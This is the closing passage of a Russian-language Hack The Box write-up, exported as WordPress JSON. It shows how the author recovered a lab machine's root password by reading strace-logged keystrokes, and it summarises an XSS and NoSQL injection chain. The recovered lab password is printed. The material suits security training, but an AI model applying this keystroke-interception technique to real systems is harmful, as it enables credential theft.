\u0437\u0430\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u0432\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u0441\u0438\u043c\u0432\u043e\u043b \/10, \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 Backspace (ASCII code 8)<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/08\/image-31.png\" alt=\"\" class=\"wp-image-181\" width=\"700\"\/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>\u041f\u043e\u0441\u043b\u0435 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u044f \u0446\u0438\u0444\u0440\u044b 1 \u0432 \u043f\u0430\u0440\u043e\u043b\u0435 \u0432\u043e\u0434\u044f\u0442\u0441\u044f \u0435\u0449\u0451 3 \u0441\u0438\u043c\u0432\u043e\u043b\u0430:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\nread(0, &quot;r&quot;, 8192)                      = 1 \n&#x5B;...] \nread(0, &quot;d&quot;, 8192)                      = 1 \n&#x5B;...] \nread(0, &quot;9&quot;, 8192)                      = 1\n<\/pre><\/div>\n\n\n<p>\u0418\u0442\u043e\u0433\u043e\u0432\u044b\u0439 \u043f\u0430\u0440\u043e\u043b\u044c: <code>!sEcUr3p4$$w0rd9<\/code><\/p>\n\n\n\n<p>\u041f\u0440\u043e\u0432\u0435\u0440\u0438\u043c \u0432\u0435\u0440\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0430\u0440\u043e\u043b\u044f:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/08\/image-32.png\" alt=\"\" class=\"wp-image-182\" width=\"700\"\/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>\u0423\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u043f\u0430\u0440\u043e\u043b\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f root, \u0430 \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u043d\u0438\u043c \u0438 \u0444\u043b\u0430\u0433:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/08\/image-33.png\" alt=\"\" class=\"wp-image-183\" width=\"700\"\/><\/figure><\/div>\n\n\n<h3 class=\"wp-block-heading\">\u0421\u0441\u044b\u043b\u043a\u0438:<\/h3>\n\n\n\n<p><a href=\"https:\/\/book.hacktricks.xyz\/pentesting-web\/nosql-injection\">https:\/\/book.hacktricks.xyz\/pentesting-web\/nosql-injection<\/a> <\/p>\n\n\n\n<p><a href=\"https:\/\/jtprog.ru\/strace\/\">https:\/\/jtprog.ru\/strace\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u0421\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u044c: Hard \u041e\u0421: Linux \u0411\u0430\u043b\u043b\u044b: 40 IP: 10.10.11.209 \u0422\u0435\u0433\u0438 Code Review, XSS, NoSQL, System call interception \u041a\u0440\u0430\u0442\u043a\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u0438\u0447\u043d\u043e\u0439 \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043c\u044b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u0435\u043c \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0438\u043c\u0435\u043d\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434 \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u0437 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0445 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432. \u0421 \u043f\u043e\u043c\u043e\u0449\u044c\u044e XSS \u0432 \u0444\u043e\u0440\u043c\u0435 \u043e\u0431\u0440\u0430\u0442\u043d\u043e\u0439 \u0441\u0432\u044f\u0437\u0438 \u0438 \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 NoSQL \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f tristan. \u0417\u0430\u0442\u0435\u043c \u0447\u0435\u0440\u0435\u0437 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0443\u044e \u0432 \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u043c [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[4,5],"class_list":["post-146","post","type-post","status-publish","format-standard","hentry","category-blog","tag-htb","tag-writeup"],"translation":{"provider":"WPGlobus","version":"3.0.0","language":"en","enabled_languages":["ru","en"],"languages":{"ru":{"title":true,"content":true,"excerpt":false},"en":{"title":false,"content":false,"excerpt":false}}},"_links":{"self":[{"href":"https:\/\/seq.team\/en\/wp-json\/wp\/v2\/posts\/146","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/seq.team\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/seq.team\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/seq.team\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/seq.team\/en\/wp-json\/wp\/v2\/comments?post=146"}],"version-history":[{"count":212,"href":"https:\/\/seq.team\/en\/wp-json\/wp\/v2\/posts\/146\/revisions"}],"predecessor-version":[{"id":536,"href":"https:\/\/seq.team\/en\/wp-json\/wp\/v2\/posts\/146\/revisions\/536"}],"wp:attachment":[{"href":"https:\/\/seq.team\/en\/wp-json\/wp\/v2\/media?parent=146"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/seq.team\/en\/wp-json\/wp\/v2\/categories?post=146"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/seq.team\/en\/wp-json\/wp\/v2\/tags?post=146"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}